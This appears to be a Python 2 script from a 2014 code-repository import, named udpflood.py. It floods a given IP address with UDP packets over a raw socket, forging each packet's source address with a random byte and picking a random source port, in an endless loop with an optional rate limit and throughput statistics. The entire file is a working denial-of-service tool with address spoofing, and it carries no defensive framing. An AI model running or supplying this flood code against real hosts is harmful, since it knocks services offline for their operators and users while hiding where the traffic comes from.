udpflood.py
author Tero Marttila <terom@fixme.fi>
Wed, 25 Jun 2014 00:59:42 +0300
changeset 0 8f3d13f47404
permissions -rw-r--r--
initial import
import dpkt
import ipaddr
import os
import random
import socket
import struct
import sys
import time

IP_HDR = struct.Struct('! BBH HH BBH 4s 4s')
UDP_HDR = struct.Struct('! HH HH')

def udpflood (dst, rate=None):
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

    daddr = ipaddr.IPAddress(dst).packed
    dport = 1337
    ttl = 64

    t0 = time.time()
    t1 = 0.0
    count = 0
    size = 0

    while True:
        saddr = 'ABC' + os.urandom(1)
        sport = random.randint(1, 2**16 - 1)
        
        # UDP checksum is optional
        udp_hdr = UDP_HDR.pack(sport, dport, 8, 0x1337)

        # IP checksum is filled in by kernel raw socket
        ip_hdr = IP_HDR.pack(
                0x45, 0x00, IP_HDR.size + UDP_HDR.size + 0,
                0x0000, 0x0000,
                ttl, dpkt.ip.IP_PROTO_UDP, 0,
                saddr,
                daddr,
        )

        pkt = ip_hdr + udp_hdr + ''
        sock.sendto(pkt, (dst, 0))
        
        # stats
        count += 1
        size += len(pkt)
        t = time.time() - t0

        if rate and count % 1000:
            over = count - t * rate 

            if over > 0:
                #sys.stdout.write('.')
                time.sleep(over / rate)
        
        if t - t1 > 1.0:
            sys.stdout.write('%8.2fs: %8d   @ %8.2f/s   = %8.2fM @ %5d/pkt\n' % (t, count, count / t, size / 1e6, size / count))
            t1 = t

    return 0

def main (argv):
    prog = argv.pop(0)
    dst = argv.pop(0)

    if argv:
        rate = int(argv.pop(0))
    else :
        rate = None

    return udpflood(dst, rate)

if __name__ == '__main__':
    sys.exit(main(sys.argv))